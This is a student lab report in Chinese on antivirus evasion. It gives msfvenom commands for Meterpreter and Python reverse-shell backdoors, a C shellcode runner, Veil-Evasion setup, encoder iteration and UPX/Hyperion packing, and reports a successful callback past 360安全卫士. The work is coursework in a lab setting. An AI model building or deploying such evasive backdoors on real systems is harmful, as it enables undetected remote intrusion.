2018-2019-2 20165312《网络攻防技术》Exp3 免杀原理与实践

课上知识点总结

1.恶意软件检测机制

  • 基于特征码的检测(需要定期更新病毒库)
  • 启发式恶意软件检测(实时监控,开销较大)
  • 基于行为的恶意软件检测(如API监控)

2.免杀技术综述

  • 改变特征码

    • 加壳(拥有.exe文件)

      • 压缩壳
      • 加密壳
    • shellcode+encoder
    • 重写重编译(veil-evasion或者手工)
    • 半手工化(主流)
  • 改变行为
    • 通讯方式

      • 尽量使用反弹式连接
      • 使用隧道技术
      • 加密通讯数据(如https)
    • 操作系统
      • 基于内存操作
      • 减少对系统的修改
      • 加入混淆作用的正常功能代码

Exp3.1 能够正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程。

3.1.1正确使用msf编码器并使用msfvenom生成文件

实验思路:msf在上次实验生成后门程序中已经使用过,所以在此实验中我进一步了解了msf各个参数的作用,以及加入了使用VirusTotalVirscan进行检测。

  • msf中的使用的参数(参考博客

    • -p指定需要使用的payload(攻击载荷)

      • 查看msf可用的payload列表:msfvenom -l payload
      • msfvenom生成各类Payload命令(详见博客)这个对之后的实验有帮助
    • -f指定payload的输出格式
      • 产看msf支持的输出格式:msfvenom --list formats
    • -e指定需要使用的encoder(编码器)
      • 查看可用的编码器:msfvenom -l encoder
    • -b生成的文件中不存在-b之后指定的内容
    • -i num指定编码器迭代的次数
  • 利用msf生成.exe文件并进行测试

    • 生成.exe文件
    msfvenom -p windows/meterpreter/reverse_tcp HOST = 192.168.43.85 PORT = 5312 -f exe > backdoor.exe

    • 利用VirusTotal进行测试

      由图可知,在69个软件中有50个软件报错,比例还是很高的。下面的步骤中加入编译器和迭代的思想。

    • 测试是否可以在windows下实现免杀,显然是不行的

  • 利用msf生成.jar文件并进行测试

    • 生成.jar文件:
    msfvenom -p java/meterpreter/reverse_tcp -e x86/opt_sub  -i 4  HOST = 10.1.1.154 PORT = 5312 -f jar > backdoor.jar //使用x86/opt_sub编译器并迭代4次

    • 利用VirusTotal进行测试



      使用编译器和迭代的效果不是很大。

    • 测试是否可以在windows下实现免杀,竟然可以(震惊.jpg)

  • 利用msf生成.py文件并进行测试

    • 生成.py文件:
    msfvenom -p cmd/unix/reverse_python  HOST = 10.1.1.154 PORT = 5312 -f raw > backdoor.py

    • 利用VirusTotal进行测试

    • 测试是否可以在windows下实现免杀,和我预测一样

3.1.2使用veil-Evasion生成后门程序及检测

  • 安装Veil-Evasion(参考博客)

    • 说来话长,我的kail是2018的镜像,安装过程十分的顺利and超级快,但是它就是不能生成文件./update压根没有用,所以我就拷贝了同学的2019镜像(她也是用这种方法安装的,所以这个方法还是有效的,仅供参考)
    • 安装git:sudo apt-get -y install git
    • 下载Veil-Evasion:git clone https://github.com/Veil-Framework/Veil-Evasion.git
    • 把Veil-Evasion移动到opt(随你选择)目录下:mv Veil-Evasion /opt
    • 进入Veil-Evasion所在目录:cd /opt/Veil-Evasion/
    • 启动bash脚本进行安装:bash setup/setup.sh -s

    • 启动Veil-Evasion:进入/opt/Veil-Evasion 运行./Veil-Evasion.py

  • c重写meterperter

    • use显示所有的Available Payloads
    • 选择4:c/meterpreter/rev_http进入配置界面
    • 设置反弹连接IP:set LHOST 10.1.1.154
    • 设置反弹端口:set LPORT 5312
    • 显示当前信息:info

    • 生成文件generate并输入指定的名称

    • 利用VirusTotal进行测试

    • 测试是否可以在windows下实现免杀

3.1.3利用shellcode编程

  • 使用msf生成一段c语言格式的shellcode数组
msfvenom -p windows/meterpreter/reverse_tcp HOST=10.1.1.154 PORT=5312 -f c

  • 创建20165312-Exp3-1-3.c文件,将shellcode转化为函数进行调用
此处为shellcode
int main()
{
int (*func)() = (int(*)())buf;
func();
}
  • 交叉编译:i686-w64-mingw32-g++ 20165312-Exp3-1-3.c -o 20165312-Exp3-1-3.exe

  • 利用VirusTotal进行测试

  • 使用ncat将kail下20165312-Exp3-1-3.exe文件

    传送给windows并尝试回连(开启windows defender开启状态下)

    • windows:ncat.exe -l -p 5312 > 20165312-Exp3-1-3.exe
    • linux:nc 10.1.1.151 5312 < 20165312-Exp3-1-3.exe
    • 结果smile

  • 在刚才生成shellcode的基础上我又加了编译器和迭代进行了又一次的尝试,首先生成新的shellcode:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=10.1.1.154 LPORT=5312 -f c后面的步骤就是重复了,不啰嗦了。

  • 利用VirusTotal进行测试,就比刚才少了一点

  • 再测试下windows下,结果恩。。。

3.1.4加壳工具

  • 压缩壳(以UPX为例)

    • 对已经生成的20165312-Exp3-1-3.exe进行压缩:upx 20165312-Exp3-1-3.exe -o 20165312-upxed1.exe

    • 利用VirusTotal进行测试

    • 测试下在windows下,smile again

  • 加密壳(以Hyperion为例)

    • 将已经生成的20165312-upxed1.exe复制到/usr/share/windows-binaries/hyperion

    • 进入/usr/share/windows-binaries/hyperion

    • 进行加壳:wine hyperion.exe -v 20165312-upxed1.exe 20165312-upxed-Hyperion.exe

    • 利用VirusTotal进行测试

    • 在windows下进行测试(终于不用smile)

Exp3.2通过组合应用各种技术实现恶意代码免杀

  • 实际上在上一步加密壳的操作中已经实现了免杀,即采用c语言调用shellcode+压缩壳+加密壳的方式。但是这种方法我没有实现回连,实际上我又试了c语言调用shellcode+加密壳的方式,也是无法实现回连的。and我发现加壳之后,检测出来有问题的软件个数变多。所以加壳未尝是一个很好的方法。所以我在实验过程中尝试了c调用shellcodec调用shellcode+压缩壳的方式,都可以实现免杀+回连。但是我认为这种免杀只是暂时性的。

  • 回连成功

  • 免杀成功

Exp3.3用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

  • 注:exp3.2与3.3方法相同,只不过换网络了,就使用相同方法生成了。

  • 电脑系统:Windows 7

  • 杀软名称:360安全卫士(11.5.0.2002)



  • 回连成功

实验总结与体会

  • 实验感想

在检测恶意代码是否能在windows下实现免杀时,除了检测了电脑管家,我还检测了Windows Defender。不得不说电脑管家很大程度上是不管用的,但是Windows Defender也太强了吧。backdoor.py通过VirusTotal检测为只有一个软件可以检测出来,但是Windows Defender也是秒杀。至于实现免杀我目前只能做到电脑管家免杀,但是Windows Defender还不行,如果有哪位dalao会了请教教我!

  • 杀软是如何检测出恶意代码的?
  • 基于特征码
  • 实时监控
  • 基于行为的恶意软件检测
  • 免杀是做什么?

可以实现杀毒软件不发现、扫描不出病毒代码。

  • 免杀的基本方法有哪些
  • 改变特征码

    • 加壳
    • shellcode+encoder
    • veil-evasion
    • 半手工化
  • 改变行为
    • 通讯方式

      • 尽量使用反弹式连接
      • 使用隧道技术
      • 加密通讯数据
    • 操作系统
      • 基于内存操作
      • 减少对系统的修改
      • 加入混淆作用的正常功能代码
  • 开启杀软能绝对防止电脑中恶意代码吗

通过做实验实现了免杀,显然杀软不能绝对防止恶意代码

实验中遇到的问题及解决方案

  • 经常出现回连不成功的现象,特别是加密壳,我觉得大概是个玄学。(没错我还没有解决这个问题)
  • emmm诚实的说,我做实验的时候成功的案例,过了几个小时之后,就不能免杀了。。然后的话我就换了shellcode,又重新做了一遍,可以实现免杀,电脑管家更新病毒库还是可以的吧?
  • 至今不知道在无360、电脑管家巴拉巴拉一堆杀软的情况下,如何在windows defender下实现杀软(毕竟我试了,这一切实验对于windows defender都是渣渣。。)

2018-2019-2 20165312《网络攻防技术》Exp3 免杀原理与实践的更多相关文章

  1. 20145236《网络攻防》 Exp3 免杀原理与实践

    20145236<网络攻防> Exp3 免杀原理与实践 一.基础问题回答 1.杀软是如何检测出恶意代码的? 恶意代码有其特有的特征码,杀软将特征码加入检测库中,当检测到一段代码中具有这样的 ...

  2. 20155226《网络攻防》 Exp3 免杀原理与实践

    20155226<网络攻防> Exp3 免杀原理与实践 实验过程 1. msfvenom直接生成meterpreter可执行文件 直接将上周做实验时用msf生成的后门文件放在virscan ...

  3. 20155308 《网络攻防》 Exp3 免杀原理与实践

    20155308 <网络攻防> Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测 ...

  4. 20155318 《网络攻防》Exp3 免杀原理与实践

    20155318 <网络攻防>Exp3 免杀原理与实践 基础问题 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程 ...

  5. 20155321 《网络攻防》 Exp3 免杀原理与实践

    20155321 <网络攻防> Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 根据实验指导书,杀软有两个方法可以检测出恶意代码.第一种是基于特征码,即先对流行代码特 ...

  6. 20155330 《网络攻防》 Exp3 免杀原理与实践

    20155330 <网络攻防> Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征码.先对流行代码特征的提取,然后进行程序的比对,如果也检测到相应的特征码的程序 ...

  7. 2015306 白皎 《网络攻防》Exp3 免杀原理与实践

    2015306 白皎 <网络攻防>Exp3 免杀原理与实践 一.实践基础 免杀,故名思义,指的是一种能使病毒木马免于被杀毒软件查杀的技术. 免杀的方法有很多,比如加壳改壳.加垃圾指令.以及 ...

  8. 20145215《网络对抗》Exp3 免杀原理与实践

    20145215<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有 ...

  9. 20155227《网络对抗》Exp3 免杀原理与实践

    20155227<网络对抗>Exp3 免杀原理与实践 实践内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等 ...

  10. 20155232《网络对抗》Exp3 免杀原理与实践

    20155232<网络对抗>Exp3 免杀原理与实践 问题回答 1.基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测 特征码:一段特征码就是一段或多段数据. 如果一个可执 ...

随机推荐

  1. 2018-计算机系机试(第二批)-C-数字字符个数

    C. 数字字符个数 单点时限: 1.0 sec 内存限制: 256 MB 输入一行信息,输出其中包含的数字字符个数. 例如:输入 a<4 >w,输出 1 . 输入格式 一行字符串 (可能含 ...

  2. 从软件测试转型到C#上位机程序员

    一直在做软件测试的工作,天天与程序员不依不饶的争论细节的问题,没想到自己也有那么一天走上程序员的道路,由此开始,我的博客天天更新自己的学习状态,分享自己的心得. C#是微软公司发布的一种面向对象的.运 ...

  3. VS2008安装“Visual Studio Web 创作组件”安装失败的解决方法

    VS2008安装“Visual Studio Web 创作组件”安装失败的解决方法 今天在单位电脑安装VS2008,当安装到“Visual Studio Web 创作组件”时出现错误. 准备手动安装 ...

  4. [ 随手记 5 ] C/C++ 继承

    个人理解: 继承:(意译)继续承接: A继承B,则A是派生类/子类,B为基类/父类: B有的成员变量/性质,A全部都有,而A有的B不一定有,在数学集合上可以说:B是A的子集: A继承B,可以说是A在B ...

  5. Could not find a version that satisfies the requirement PIL

    Python Imageing Library 简称 PIL Python常用的图像处理库之一 Pillow是PIL一个fork. C:\Users\dangzhengtao>pip insta ...

  6. git配置代理

    1.查看当前代理 git config --global http.proxy 2.配置git走代理,可走http代理也可以走socks5代理,可根据自己的代理协议而定 #http代理 git con ...

  7. 测试那些事儿—软测必备的Linux知识(三)

    ubantu 打开命令提示符的方法:点击左上角图标输入terminal 1.系统管理 1.1 shutdown,系统关机命令 -h:关机        -r:重启 shutdown -h now 立即 ...

  8. E-R视图中有关图形的用法

    这里先推荐几款相对好用的画E-R图的软件: 第一款为:  这是一款在线的画流程图软件 第二款为:亿图图示 第三款为:Visio ER图是在设计数据库之前,明白数据之间的相互关系,理清数据之间的逻辑而需 ...

  9. vue对象属性监听

    对象属性监听的两种方法: 1.普通的watch data() { return { frontPoints: 0 } }, watch: { frontPoints(newValue, oldValu ...

  10. 【转载】Office软件自定义功能区不完全显示修复方法

    转载地址:http://www.doudouxitong.net/guzhang/xitongjiqiao/2015/0603/8822.html 豆豆系统 Office是比较常用的办公软件,我们也会 ...